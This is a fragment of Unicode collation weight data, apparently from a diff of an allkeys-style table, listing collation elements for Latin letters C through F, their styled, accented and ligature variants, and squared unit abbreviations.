+1F12D ; [.1C7A.0020.000C][.1C8F.0020.000C] # CIRCLED CD
+33C5  ; [.1C7A.0020.001C][.1C8F.0020.001C] # SQUARE CD
+33C6  ; [.1C7A.0020.001D][*0625.0020.001C][.1D65.0020.001C][.1CF4.0020.001C] # SQUARE C OVER KG
+1F191 ; [.1C7A.0020.001D][.1D77.0020.001D] # SQUARED CL
+339D  ; [.1C7A.0020.001C][.1DAA.0020.001C] # SQUARE CM
+33A0  ; [.1C7A.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE CM SQUARED
+33A4  ; [.1C7A.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE CM CUBED
+2105  ; [.1C7A.0020.0004][*0394.0020.0004][.1DDD.0020.0004] # CARE OF
+33C7  ; [.1C7A.0020.001D][.1DDD.0020.001C][*0277.0020.001C] # SQUARE CO
+1F192 ; [.1C7A.0020.001D][.1DDD.0020.001D][.1DDD.0020.001D][.1D77.0020.001D] # SQUARED COOL
+2106  ; [.1C7A.0020.0004][*0394.0020.0004][.1EB5.0020.0004] # CADA UNA
+1D04  ; [.1C7E.0020.0002] # LATIN LETTER SMALL CAPITAL C
+023C  ; [.1C7F.0020.0002] # LATIN SMALL LETTER C WITH STROKE
+023B  ; [.1C7F.0020.0008] # LATIN CAPITAL LETTER C WITH STROKE
+A793  ; [.1C83.0020.0002] # LATIN SMALL LETTER C WITH BAR
+A792  ; [.1C83.0020.0008] # LATIN CAPITAL LETTER C WITH BAR
+A794  ; [.1C84.0020.0002] # LATIN SMALL LETTER C WITH PALATAL HOOK
+0188  ; [.1C85.0020.0002] # LATIN SMALL LETTER C WITH HOOK
+0187  ; [.1C85.0020.0008] # LATIN CAPITAL LETTER C WITH HOOK
+0255  ; [.1C89.0020.0002] # LATIN SMALL LETTER C WITH CURL
+1D9D  ; [.1C89.0020.0014] # MODIFIER LETTER SMALL C WITH CURL
+2184  ; [.1C8D.0020.0002] # LATIN SMALL LETTER REVERSED C
+2183  ; [.1C8D.0020.0008] # ROMAN NUMERAL REVERSED ONE HUNDRED
+A73F  ; [.1C8E.0020.0002] # LATIN SMALL LETTER REVERSED C WITH DOT
+A73E  ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER REVERSED C WITH DOT
+0064  ; [.1C8F.0020.0002] # LATIN SMALL LETTER D
+FF44  ; [.1C8F.0020.0003] # FULLWIDTH LATIN SMALL LETTER D
+0369  ; [.1C8F.0020.0004] # COMBINING LATIN SMALL LETTER D
+217E  ; [.1C8F.0020.0004] # SMALL ROMAN NUMERAL FIVE HUNDRED
+249F  ; [*0317.0020.0004][.1C8F.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER D
+2146  ; [.1C8F.0020.0005] # DOUBLE-STRUCK ITALIC SMALL D
+1D41D ; [.1C8F.0020.0005] # MATHEMATICAL BOLD SMALL D
+1D451 ; [.1C8F.0020.0005] # MATHEMATICAL ITALIC SMALL D
+1D485 ; [.1C8F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL D
+1D4B9 ; [.1C8F.0020.0005] # MATHEMATICAL SCRIPT SMALL D
+1D4ED ; [.1C8F.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL D
+1D521 ; [.1C8F.0020.0005] # MATHEMATICAL FRAKTUR SMALL D
+1D555 ; [.1C8F.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL D
+1D589 ; [.1C8F.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL D
+1D5BD ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF SMALL D
+1D5F1 ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL D
+1D625 ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL D
+1D659 ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL D
+1D68D ; [.1C8F.0020.0005] # MATHEMATICAL MONOSPACE SMALL D
+24D3  ; [.1C8F.0020.0006] # CIRCLED LATIN SMALL LETTER D
+0044  ; [.1C8F.0020.0008] # LATIN CAPITAL LETTER D
+FF24  ; [.1C8F.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER D
+216E  ; [.1C8F.0020.000A] # ROMAN NUMERAL FIVE HUNDRED
+1F113 ; [*0317.0020.0004][.1C8F.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER D
+2145  ; [.1C8F.0020.000B] # DOUBLE-STRUCK ITALIC CAPITAL D
+1D403 ; [.1C8F.0020.000B] # MATHEMATICAL BOLD CAPITAL D
+1D437 ; [.1C8F.0020.000B] # MATHEMATICAL ITALIC CAPITAL D
+1D46B ; [.1C8F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL D
+1D49F ; [.1C8F.0020.000B] # MATHEMATICAL SCRIPT CAPITAL D
+1D4D3 ; [.1C8F.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL D
+1D507 ; [.1C8F.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL D
+1D53B ; [.1C8F.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL D
+1D56F ; [.1C8F.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL D
+1D5A3 ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL D
+1D5D7 ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL D
+1D60B ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL D
+1D63F ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL D
+1D673 ; [.1C8F.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL D
+24B9  ; [.1C8F.0020.000C] # CIRCLED LATIN CAPITAL LETTER D
+1F153 ; [.1C8F.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER D
+1D48  ; [.1C8F.0020.0014] # MODIFIER LETTER SMALL D
+1F1A5 ; [.1C8F.0020.001C] # SQUARED LATIN SMALL LETTER D
+1D30  ; [.1C8F.0020.001D] # MODIFIER LETTER CAPITAL D
+1F133 ; [.1C8F.0020.001D] # SQUARED LATIN CAPITAL LETTER D
+1F173 ; [.1C8F.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER D
+010F  ; [.1C8F.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER D WITH CARON
+010E  ; [.1C8F.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER D WITH CARON
+1E0B  ; [.1C8F.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER D WITH DOT ABOVE
+1E0A  ; [.1C8F.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER D WITH DOT ABOVE
+1E11  ; [.1C8F.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER D WITH CEDILLA
+1E10  ; [.1C8F.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER D WITH CEDILLA
+0111  ; [.1C8F.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE
+0110  ; [.1C8F.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE
+1E0D  ; [.1C8F.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER D WITH DOT BELOW
+1E0C  ; [.1C8F.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER D WITH DOT BELOW
+1E13  ; [.1C8F.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW
+1E12  ; [.1C8F.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW
+1E0F  ; [.1C8F.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER D WITH LINE BELOW
+1E0E  ; [.1C8F.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER D WITH LINE BELOW
+00F0  ; [.1C8F.0020.0004][.0000.0110.0004] # LATIN SMALL LETTER ETH
+1DD9  ; [.1C8F.0020.0004][.0000.0110.0004] # COMBINING LATIN SMALL LETTER ETH
+00D0  ; [.1C8F.0020.000A][.0000.0110.0004] # LATIN CAPITAL LETTER ETH
+1D9E  ; [.1C8F.0020.0014][.0000.0110.0014] # MODIFIER LETTER SMALL ETH
+1DD8  ; [.1C8F.0020.0004][.0000.0111.0004] # COMBINING LATIN SMALL LETTER INSULAR D
+A77A  ; [.1C8F.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR D
+A779  ; [.1C8F.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR D
+3372  ; [.1C8F.0020.001C][.1C47.0020.001C] # SQUARE DA
+0238  ; [.1C8F.0020.0004][.1C60.0020.0004] # LATIN SMALL LETTER DB DIGRAPH
+33C8  ; [.1C8F.0020.001C][.1C60.0020.001D] # SQUARE DB
+1F190 ; [.1C8F.0020.001D][.1D4C.0020.001D] # SQUARE DJ
+3397  ; [.1C8F.0020.001C][.1D77.0020.001C] # SQUARE DL
+3377  ; [.1C8F.0020.001C][.1DAA.0020.001C] # SQUARE DM
+3378  ; [.1C8F.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE DM SQUARED
+3379  ; [.1C8F.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE DM CUBED
+01F3  ; [.1C8F.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER DZ
+02A3  ; [.1C8F.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH
+01F2  ; [.1C8F.0020.000A][.1F21.0020.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z
+01F1  ; [.1C8F.0020.000A][.1F21.0020.000A] # LATIN CAPITAL LETTER DZ
+01C6  ; [.1C8F.0020.0004][.1F21.0020.0004][.0000.0028.0004] # LATIN SMALL LETTER DZ WITH CARON
+01C5  ; [.1C8F.0020.000A][.1F21.0020.0004][.0000.0028.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON
+01C4  ; [.1C8F.0020.000A][.1F21.0020.000A][.0000.0028.0004] # LATIN CAPITAL LETTER DZ WITH CARON
+02A5  ; [.1C8F.0020.0004][.1F34.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH WITH CURL
+02A4  ; [.1C8F.0020.0004][.1F3E.0020.0004] # LATIN SMALL LETTER DEZH DIGRAPH
+1D05  ; [.1C93.0020.0002] # LATIN LETTER SMALL CAPITAL D
+1D06  ; [.1C94.0020.0002] # LATIN LETTER SMALL CAPITAL ETH
+1D6D  ; [.1C95.0020.0002] # LATIN SMALL LETTER D WITH MIDDLE TILDE
+1D81  ; [.1C96.0020.0002] # LATIN SMALL LETTER D WITH PALATAL HOOK
+0256  ; [.1C97.0020.0002] # LATIN SMALL LETTER D WITH TAIL
+0189  ; [.1C97.0020.0008] # LATIN CAPITAL LETTER AFRICAN D
+0257  ; [.1C9B.0020.0002] # LATIN SMALL LETTER D WITH HOOK
+018A  ; [.1C9B.0020.0008] # LATIN CAPITAL LETTER D WITH HOOK
+1D91  ; [.1C9F.0020.0002] # LATIN SMALL LETTER D WITH HOOK AND TAIL
+018C  ; [.1CA0.0020.0002] # LATIN SMALL LETTER D WITH TOPBAR
+018B  ; [.1CA0.0020.0008] # LATIN CAPITAL LETTER D WITH TOPBAR
+0221  ; [.1CA4.0020.0002] # LATIN SMALL LETTER D WITH CURL
+A771  ; [.1CA8.0020.0002] # LATIN SMALL LETTER DUM
+1E9F  ; [.1CA9.0020.0002] # LATIN SMALL LETTER DELTA
+0065  ; [.1CAA.0020.0002] # LATIN SMALL LETTER E
+FF45  ; [.1CAA.0020.0003] # FULLWIDTH LATIN SMALL LETTER E
+0364  ; [.1CAA.0020.0004] # COMBINING LATIN SMALL LETTER E
+24A0  ; [*0317.0020.0004][.1CAA.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER E
+212F  ; [.1CAA.0020.0005] # SCRIPT SMALL E
+2147  ; [.1CAA.0020.0005] # DOUBLE-STRUCK ITALIC SMALL E
+1D41E ; [.1CAA.0020.0005] # MATHEMATICAL BOLD SMALL E
+1D452 ; [.1CAA.0020.0005] # MATHEMATICAL ITALIC SMALL E
+1D486 ; [.1CAA.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL E
+1D4EE ; [.1CAA.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL E
+1D522 ; [.1CAA.0020.0005] # MATHEMATICAL FRAKTUR SMALL E
+1D556 ; [.1CAA.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL E
+1D58A ; [.1CAA.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL E
+1D5BE ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF SMALL E
+1D5F2 ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL E
+1D626 ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL E
+1D65A ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL E
+1D68E ; [.1CAA.0020.0005] # MATHEMATICAL MONOSPACE SMALL E
+24D4  ; [.1CAA.0020.0006] # CIRCLED LATIN SMALL LETTER E
+0045  ; [.1CAA.0020.0008] # LATIN CAPITAL LETTER E
+FF25  ; [.1CAA.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER E
+1F114 ; [*0317.0020.0004][.1CAA.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER E
+2130  ; [.1CAA.0020.000B] # SCRIPT CAPITAL E
+1D404 ; [.1CAA.0020.000B] # MATHEMATICAL BOLD CAPITAL E
+1D438 ; [.1CAA.0020.000B] # MATHEMATICAL ITALIC CAPITAL E
+1D46C ; [.1CAA.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL E
+1D4D4 ; [.1CAA.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL E
+1D508 ; [.1CAA.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL E
+1D53C ; [.1CAA.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL E
+1D570 ; [.1CAA.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL E
+1D5A4 ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL E
+1D5D8 ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL E
+1D60C ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL E
+1D640 ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL E
+1D674 ; [.1CAA.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL E
+24BA  ; [.1CAA.0020.000C] # CIRCLED LATIN CAPITAL LETTER E
+1F154 ; [.1CAA.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER E
+1D49  ; [.1CAA.0020.0014] # MODIFIER LETTER SMALL E
+2091  ; [.1CAA.0020.0015] # LATIN SUBSCRIPT SMALL LETTER E
+1D31  ; [.1CAA.0020.001D] # MODIFIER LETTER CAPITAL E
+1F134 ; [.1CAA.0020.001D] # SQUARED LATIN CAPITAL LETTER E
+1F174 ; [.1CAA.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER E
+00E9  ; [.1CAA.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9  ; [.1CAA.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH ACUTE
+00E8  ; [.1CAA.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8  ; [.1CAA.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH GRAVE
+0115  ; [.1CAA.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH BREVE
+0114  ; [.1CAA.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH BREVE
+00EA  ; [.1CAA.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA  ; [.1CAA.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EBF  ; [.1CAA.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE  ; [.1CAA.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EC1  ; [.1CAA.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0  ; [.1CAA.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC5  ; [.1CAA.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4  ; [.1CAA.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3  ; [.1CAA.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2  ; [.1CAA.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+011B  ; [.1CAA.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER E WITH CARON
+011A  ; [.1CAA.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER E WITH CARON
+00EB  ; [.1CAA.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER E WITH DIAERESIS
+00CB  ; [.1CAA.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER E WITH DIAERESIS
+1EBD  ; [.1CAA.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH TILDE
+1EBC  ; [.1CAA.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH TILDE
+0117  ; [.1CAA.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER E WITH DOT ABOVE
+0116  ; [.1CAA.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER E WITH DOT ABOVE
+0229  ; [.1CAA.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER E WITH CEDILLA
+0228  ; [.1CAA.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER E WITH CEDILLA
+1E1D  ; [.1CAA.0020.0002][.0000.0030.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH CEDILLA AND BREVE
+1E1C  ; [.1CAA.0020.0008][.0000.0030.0002][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE
+0119  ; [.1CAA.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118  ; [.1CAA.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER E WITH OGONEK
+0113  ; [.1CAA.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON
+0112  ; [.1CAA.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON
+1E17  ; [.1CAA.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH MACRON AND ACUTE
+1E16  ; [.1CAA.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH MACRON AND ACUTE
+1E15  ; [.1CAA.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH MACRON AND GRAVE
+1E14  ; [.1CAA.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH MACRON AND GRAVE
+1EBB  ; [.1CAA.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH HOOK ABOVE
+1EBA  ; [.1CAA.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH HOOK ABOVE
+0205  ; [.1CAA.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER E WITH DOUBLE GRAVE
+0204  ; [.1CAA.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER E WITH DOUBLE GRAVE
+0207  ; [.1CAA.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER E WITH INVERTED BREVE
+0206  ; [.1CAA.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER E WITH INVERTED BREVE
+1EB9  ; [.1CAA.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH DOT BELOW
+1EB8  ; [.1CAA.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH DOT BELOW
+1EC7  ; [.1CAA.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6  ; [.1CAA.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1E19  ; [.1CAA.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW
+1E18  ; [.1CAA.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW
+1E1B  ; [.1CAA.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER E WITH TILDE BELOW
+1E1A  ; [.1CAA.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER E WITH TILDE BELOW
+32CD  ; [.1CAA.0020.001C][.1E33.0020.001C][.1CF4.0020.001C] # SQUARE ERG
+32CE  ; [.1CAA.0020.001C][.1EE3.0020.001D] # SQUARE EV
+1D07  ; [.1CAE.0020.0002] # LATIN LETTER SMALL CAPITAL E
+AB32  ; [.1CAF.0020.0002] # LATIN SMALL LETTER BLACKLETTER E
+AB33  ; [.1CB0.0020.0002] # LATIN SMALL LETTER BARRED E
+0247  ; [.1CB1.0020.0002] # LATIN SMALL LETTER E WITH STROKE
+0246  ; [.1CB1.0020.0008] # LATIN CAPITAL LETTER E WITH STROKE
+1D92  ; [.1CB5.0020.0002] # LATIN SMALL LETTER E WITH RETROFLEX HOOK
+AB34  ; [.1CB6.0020.0002] # LATIN SMALL LETTER E WITH FLOURISH
+2C78  ; [.1CB7.0020.0002] # LATIN SMALL LETTER E WITH NOTCH
+01DD  ; [.1CB8.0020.0002] # LATIN SMALL LETTER TURNED E
+018E  ; [.1CB8.0020.0008] # LATIN CAPITAL LETTER REVERSED E
+1D32  ; [.1CB8.0020.001D] # MODIFIER LETTER CAPITAL REVERSED E
+2C7B  ; [.1CBC.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED E
+0259  ; [.1CBD.0020.0002] # LATIN SMALL LETTER SCHWA
+1DEA  ; [.1CBD.0020.0004] # COMBINING LATIN SMALL LETTER SCHWA
+018F  ; [.1CBD.0020.0008] # LATIN CAPITAL LETTER SCHWA
+1D4A  ; [.1CBD.0020.0014] # MODIFIER LETTER SMALL SCHWA
+2094  ; [.1CBD.0020.0015] # LATIN SUBSCRIPT SMALL LETTER SCHWA
+1D95  ; [.1CC1.0020.0002] # LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK
+025B  ; [.1CC2.0020.0002] # LATIN SMALL LETTER OPEN E
+0190  ; [.1CC2.0020.0008] # LATIN CAPITAL LETTER OPEN E
+2107  ; [.1CC2.0020.000A] # EULER CONSTANT
+1D4B  ; [.1CC2.0020.0014] # MODIFIER LETTER SMALL OPEN E
+1D93  ; [.1CC6.0020.0002] # LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK
+0258  ; [.1CC7.0020.0002] # LATIN SMALL LETTER REVERSED E
+025A  ; [.1CCB.0020.0002] # LATIN SMALL LETTER SCHWA WITH HOOK
+025C  ; [.1CCF.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E
+A7AB  ; [.1CCF.0020.0008] # LATIN CAPITAL LETTER REVERSED OPEN E
+1D9F  ; [.1CCF.0020.0014] # MODIFIER LETTER SMALL REVERSED OPEN E
+1D94  ; [.1CD3.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK
+1D08  ; [.1CD4.0020.0002] # LATIN SMALL LETTER TURNED OPEN E
+1D4C  ; [.1CD4.0020.0014] # MODIFIER LETTER SMALL TURNED OPEN E
+025D  ; [.1CD5.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH HOOK
+025E  ; [.1CD9.0020.0002] # LATIN SMALL LETTER CLOSED REVERSED OPEN E
+029A  ; [.1CDD.0020.0002] # LATIN SMALL LETTER CLOSED OPEN E
+0264  ; [.1CE1.0020.0002] # LATIN SMALL LETTER RAMS HORN
+0066  ; [.1CE5.0020.0002] # LATIN SMALL LETTER F
+FF46  ; [.1CE5.0020.0003] # FULLWIDTH LATIN SMALL LETTER F
+1DEB  ; [.1CE5.0020.0004] # COMBINING LATIN SMALL LETTER F
+24A1  ; [*0317.0020.0004][.1CE5.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER F
+1D41F ; [.1CE5.0020.0005] # MATHEMATICAL BOLD SMALL F
+1D453 ; [.1CE5.0020.0005] # MATHEMATICAL ITALIC SMALL F
+1D487 ; [.1CE5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL F
+1D4BB ; [.1CE5.0020.0005] # MATHEMATICAL SCRIPT SMALL F
+1D4EF ; [.1CE5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL F
+1D523 ; [.1CE5.0020.0005] # MATHEMATICAL FRAKTUR SMALL F
+1D557 ; [.1CE5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL F
+1D58B ; [.1CE5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL F
+1D5BF ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL F
+1D5F3 ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL F
+1D627 ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL F
+1D65B ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL F
+1D68F ; [.1CE5.0020.0005] # MATHEMATICAL MONOSPACE SMALL F
+24D5  ; [.1CE5.0020.0006] # CIRCLED LATIN SMALL LETTER F
+0046  ; [.1CE5.0020.0008] # LATIN CAPITAL LETTER F
+FF26  ; [.1CE5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER F
+2109  ; [*04F6.0020.0004][.1CE5.0020.000A] # DEGREE FAHRENHEIT
+1F115 ; [*0317.0020.0004][.1CE5.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER F
+2131  ; [.1CE5.0020.000B] # SCRIPT CAPITAL F
+1D405 ; [.1CE5.0020.000B] # MATHEMATICAL BOLD CAPITAL F
+1D439 ; [.1CE5.0020.000B] # MATHEMATICAL ITALIC CAPITAL F
+1D46D ; [.1CE5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL F
+1D4D5 ; [.1CE5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL F
+1D509 ; [.1CE5.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL F
+1D53D ; [.1CE5.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL F
+1D571 ; [.1CE5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL F
+1D5A5 ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL F
+1D5D9 ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL F
+1D60D ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL F
+1D641 ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL F
+1D675 ; [.1CE5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL F
+24BB  ; [.1CE5.0020.000C] # CIRCLED LATIN CAPITAL LETTER F
+1F155 ; [.1CE5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER F
+1DA0  ; [.1CE5.0020.0014] # MODIFIER LETTER SMALL F
+1F135 ; [.1CE5.0020.001D] # SQUARED LATIN CAPITAL LETTER F
+1F175 ; [.1CE5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER F
+1E1F  ; [.1CE5.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER F WITH DOT ABOVE
+1E1E  ; [.1CE5.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER F WITH DOT ABOVE
+A77C  ; [.1CE5.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR F
+A77B  ; [.1CE5.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR F
+213B  ; [.1CE5.0020.000A][.1C47.0020.000A][.1EFF.0020.000A] # FACSIMILE SIGN
+FB00  ; [.1CE5.0020.0004][.1CE5.0020.0004] # LATIN SMALL LIGATURE FF
+FB03  ; [.1CE5.0020.0004][.1CE5.0020.0004][.1D32.0020.0004] # LATIN SMALL LIGATURE FFI
+FB04  ; [.1CE5.0020.0004][.1CE5.0020.0004][.1D77.0020.0004] # LATIN SMALL LIGATURE FFL
+FB01  ; [.1CE5.0020.0004][.1D32.0020.0004] # LATIN SMALL LIGATURE FI
+FB02  ; [.1CE5.0020.0004][.1D77.0020.0004] # LATIN SMALL LIGATURE FL
+3399  ; [.1CE5.0020.001C][.1DAA.0020.001C] # SQUARE FM
+02A9  ; [.1CE5.0020.0004][.1DD8.0020.0004] # LATIN SMALL LETTER FENG DIGRAPH
